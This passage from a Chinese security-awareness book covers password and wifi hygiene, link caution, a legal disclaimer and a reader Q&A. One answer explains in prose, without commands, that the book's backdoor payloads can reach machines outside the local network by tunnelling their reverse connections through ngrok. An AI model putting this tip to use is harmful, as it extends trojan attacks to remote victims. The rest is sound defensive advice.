IA.CarZhou…$,然后加上爱 2，最终密码为：I2A.CarZhou…$，这

个密码如何记住呢？你在大脑里想想这样一个画面：“我就爱吃着

鱼、坐着车、渴了再喝口妈妈做的玉米粥出去赚钱”，只要你能记

住这个场景，就记住密码了。这样的密码完全避开了你的真实信息，

即便是别人知道你的爱好也社工不出这样的密码，除非他能猜到你

的思维，这就太厉害了。
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5）不要设置同一个密码，避免别人通过你压缩包密码就知道

你其它密码

很多人都有这个坏习惯，自己的多个账号甚至所有账号都用同

一个密码，安全意识好点的会在密码末尾稍作区别，希望你看到这

之后能引起你的重视，尽快去修改密码。

6）不要轻易相信别人，包括一切网络资源，如网站

第一，知人知面不知心，你最信任的人如果他想伤害你后果

往往是最严重的，因为他利用了你的信任。

第二，你不知道他是不是被别人利用了，也许他是好心，但

是为幕后黑客充当做了攻击媒介。

第三，你以为一个赌博网站是公平的，其实后台通过程序随

时可以让你输，另外网络赌博本身是违法的，千万不要参与，之前

我就遇到一位学生因参与网络赌博欠了很多债，找到我想让我帮助

入侵网站修改赌博数据，我直接拒绝了。

7）离开电脑必须锁屏

8）不要链接陌生 wifi 等

因为你一链接 wifi 别人就可以在局域网内扫描到你了，监听

账号密码等等行为都有可能发生。

9）及时清理自己的信息痕迹
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比如你打印的资料，其实在打印机内部是可以调取到的，黑客

只要能获得打印机就可以获得资料了

10）其它

九、特别倡议

9.1 不要利用书中的技术做违法行为

本书所演示的 kali 渗透测试系统及相关工具使用只为了让读

者明白黑客是如何进行渗透的，本质目的是提升读者网络安全意识，

千万不要用书中的工具做非法行为，网络不是法外之地,利用书中

内容所做的一些违法行为与本书作者无关。

9.2 宣传普及互联网安全法，净化网络环境

《中华人民共和国网络安全法》是为保障网络安全，维护网络

空间主权和国家安全、社会公共利益，保护公民、法人和其他组织

的合法权益，促进经济社会信息化健康发展而制定的法律。

《中华人民共和国网络安全法》由中华人民共和国第十二届全

国人民代表大会常务委员会第二十四次会议于2016年 11月 7日通

过，自 2017 年 6月 1 日起施行。
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十、答疑

问：书中的payload都是在局域网内使用的，外网可以使用吗？

答：可以，通过端口映射工具即可实现外网计算机在中后门木

马后反弹到本地局域网，如 ngrok 即可实现，在 IP地址及端口那

里做好设置即可，具体可以查阅相关资料。

问：kali 系统及虚拟机如何下载？

答：kali 是开源的，百度搜索官网下载即可，关于虚拟机网上

有相关软件搜索下载即可。

问：人性漏洞这些该如何弥补？

答：多看网上一些案例，总结经验，这类修补很困难，因为江

山易改本性难移，必须通过真实案例来刺激大脑才能从心里产生恐

惧，进而愿意主动去修补漏洞。告诉很多遍不要设置弱口令，也不

如发生一些因为弱口令导致的真实案例能更好的刺激你。

问：学习黑客渗透都需要什么条件？

答：如果你是为了搞破坏，我劝你还是别学了，如果是为了渗

透测试完善系统，那么可以学。学习的必要的条件第一，你对渗透

测试有极其浓厚的兴趣；

二，有一台自己的电脑设备；

三、每天有至少 2个小时的时间来学习；
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四、具备利用搜索引擎查找解决方案的能力；

问：通过网络视频聊天对方是不是就不能造假了？

答：互联网上一切都可以造假，当然包括和你开视频的人，你

确定他就是某某吗？这种技术在至少 5 年前就有了。

问：我账号被盗了，我可以找你帮我盗回来吗？

答：不可以，一，我不确定账号真的属于你，二、盗号是违法

行为，即便账号是你的，我再给盗回来也是违法的，你可以选择报

警。

问：微信群里面发的那些各种爱国的一大段文字，提示转发即

可获得 200 元红包是真的吗？

答：首先从技术上来说可以识别转发，并发送红包，但是腾讯

不会那么做，否则可以通过程序利用几个小号不断的组群然后群发，

这样无限循环，腾讯有多少钱都得被掏空。

问：群里面发的各种连接可以点吗？

答：如果是官方的链接可以打开，但是绝大多数都是群里的人

在别的地方看到后直接转发过来的，他们不在乎是不是官方链接，

在乎的是把链接里面的内容发送到群里，而这个链接有的是投票的、

有的是填写信息抽奖的、还有的是各种各样的新闻，这些都有可能

潜藏木马病毒，造成信息泄露等。所以不要乱发链接，别人发的也
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不要轻易点开。
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